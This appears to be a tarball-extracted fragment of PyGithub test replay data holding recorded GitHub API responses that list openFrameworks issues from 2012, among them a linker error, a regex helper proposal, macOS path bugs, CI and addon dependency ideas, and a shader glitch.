/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3807459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799872,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799653,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3795495,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3754055,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3710293,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3662214,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3647640,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3631618,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3627067,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3614231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testInterruptedIterationInSlice.txt0000644000175100001660000047121514756101563030013 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 